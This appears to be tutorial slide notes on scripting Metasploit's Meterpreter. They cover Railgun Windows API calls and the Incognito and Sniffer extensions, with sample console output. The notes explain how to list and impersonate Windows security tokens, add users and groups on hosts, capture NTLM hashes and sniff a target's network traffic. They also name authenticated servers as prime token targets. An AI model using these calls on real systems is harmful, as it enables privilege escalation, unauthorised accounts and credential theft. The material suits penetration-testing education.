- `>> client.railgun.advapi32.functions['BackupEventLogA']`
  `=>`
  `#<Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::DLLFunction: 0x007ffa55672a10 @return_type="BOOL", @params=[["DWORD", "hEventLog", "in"], ["PCHAR", "lpBackupFileName", "in"]], @windows_name="BackupEventLogA">`
- Railgun functions return their value in a hash with the keys GetLastError and retuns
- `>> client.railgun.kernel32.IsDebuggerPresent()`
  `=> {"GetLastError"=>0, "return"=>false}`

# Meterpreter - Railgun

- The data types in Railgun are:
  - DWORD  is  Ruby Fixnum or Bignum
  - BYTE and WORD are Ruby Fixnum that will be truncated (modulus 256 or 65536 respectively) to fit this data type
  - BOOL is Ruby values true and false
  - PDWORD is a pointer to DWORD. The Fixnum you pass to the function is the content of the DWORD
  - PCHAR and PWCHAR both data types will be converted to and from Ruby Strings transparently
  - PBLOB is a pointers to anything other than strings and DWORDS will be seen as PBLOB
  - Windows constants can be directly accessed with railgun.const("WINDOWS_CONSTANT")
- For more reference on Windows API take a look at the MSDN library http://msdn.microsoft.com/en-us/ms348103.aspx

# Meterpreter - Railgun

- For reference of the railgun API look at the code in lib/rex/post/meterpreter/extensions/stdapi/railgun
- For a brief tutorial on Railgun take a look at external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun_manual.pdf

# Meterpreter - Incognito

- The Incognito extension provides the ability to or finding and hijacking security tokens
- The incognito extension can be loaded using **`client.core.use("incognito")`**
- There are 2 types of tokens
  - Impersonation - Lets one act on behalf of a client but only on the local machine. This tokens tend to be created on none-interactive logins
  - Delegation - This one act on behalf of client on remote systems. This tokens are created in interactive logins
- Targets like SQL Servers with Windows Authentication, File Servers and Webservers with witndows authentication are perfect targets for this since they will have the largest number of tokens, getting the token from this processes if possible will allow to list the tokens that are running under them or to migrate to that process
- Tokens will remain on a target system until reboot.

# Meterpreter - Incognito

- To list the tokens available under the current account you are running under **`client.incognito.incognito_list_tokens(token_order)`** the token order values are
  - 0 for user tokens
  - 1 for group tokens
- The token names are returned in a hash with the keys **`delegation`** and **`impersonation`**, the values are separated by **`\n`**
- ```
  >> client.incognito.incognito_list_tokens(0)
  => {"delegation"=>"CARLOS-192FCD91\\Administrator\nNT AUTHORITY\
  \LOCAL SERVICE\nNT AUTHORITY\\NETWORK SERVICE\nNT AUTHORITY\
  \SYSTEM\n", "impersonation"=>"NT AUTHORITY\\ANONYMOUS LOGON\n"}
  >> client.incognito.incognito_list_tokens(1)
  => {"delegation"=>"BUILTIN\\Administrators\nBUILTIN\\Users\nNT
  AUTHORITY\\LOCAL SERVICE\nNT AUTHORITY\\NETWORK SERVICE\n",
  "impersonation"=>"No tokens available\n"}
  ```
  ```

# Meterpreter - Incognito

- A recommended way to work with the tokens is to use the split method on the hash values to creates arrays
- ```
  >> ut = client.incognito.incognito_list_tokens(0)
  => {"delegation"=>"CARLOS-192FCD91\\Administrator\nNT AUTHORITY\\LOCAL SERVICE\nNT AUTHORITY\\NETWORK SERVICE\nNT AUTHORITY\\SYSTEM\n",
  "impersonation"=>"NT AUTHORITY\\ANONYMOUS LOGON\n"}
  >> ut["delegation"].split("\n")
  => ["CARLOS-192FCD91\\Administrator", "NT AUTHORITY\\LOCAL SERVICE", "NT AUTHORITY\\NETWORK SERVICE", "NT AUTHORITY\\SYSTEM"]
  ```
- **`client.incognito.incognito_impersonate_token(username)`** - this API call will impersonate the user, allowing to execute command impersonating another user with the token obtained
- `client.sys.process.execute(cmd_exec, cmd_args,'UseThreadToken' => true}`
- **`client.incognito.incognito_add_user(host, username, password)`** - This API call add a user to a local system using the token in use and given as a host the loopback address and on a remote system if a delegation token is in use
  ```

# Meterpreter - Incognito

- **`client.incognito.incognito_add_localgroup_user(host, groupname,username)`** - This API call add a group to a local system using the token in use and the loopback address is given as host and on a remote system if a delegation token is in use and the remote system IP is given a host
- **`client.incognito.incognito_add_group_user(host, groupname,username)`** - This API call will add a user to a group to a local system using the token in use and the loopback address is given and on a remote system if a delegation token is in use and the remote system IP is given a host
- **`client.incognito.incognito_snarf_hashes(host)`** - This API call will perform a LANMAN/NTLM connection against a provided host address. The host address must be configured to captures this challenges. Success depends on the configurations of the local system for transmitting hashes and protocol settings.

# Meterpreter - Sniffer

- The sniffer extension provides the ability to capture all traffic for a given interface
- The incognito extension can be loaded using **`client.core.use("sniffer")`**
- **`client.sniffer.interfaces`** - Will return an array hashes where each hash contains a network interface details and index

```
>> client.sniffer.interfaces()
=> [{"name"=>"\\Device\\{DFB388B6-0F0F-4A3A-B264-B1D95D9762AD}", "mtu"=>1514,
"usable"=>true, "type"=>0, "idx"=>1, "dhcp"=>true, "wireless"=>false,
"description"=>"VMware Accelerated AMD PCNet Adapter"}]
```

- **`client.sniffer.capture_start(intf,maxp)`** - this API call will start capturing a maximum number of packets, the call takes the interface idx value and the maximum number of packets to capture, both values integers

# Meterpreter - Sniffer

- **`client.sniffer.capture_stop(intf)`** - This call will stop the capture on a given interface given the inteface idx value
- **`client.sniffer.capture_stats(intf)`** - This call will return a hash with the amount of bytes captured and the number of packets captured

```
>> client.sniffer.capture_stats(1)
=> {:bytes=>401107, :packets=>870}
```

- **`client.sniffer.capture_dump_read(intf, 1024*512)`** - this call will read the data captured in the memory buffer of the target, we pass to both API call the interface index and on the read the amount of data to read (512k) at a time

# Meterpreter - Sniffer

- The is currently no filter options for the sniffer extension
- Every time you do a dump read on the interface the buffer is cleared
- Captured packets are saved in memory, so emptying the buffer regularly will ensure that you will not loose data

# Questions?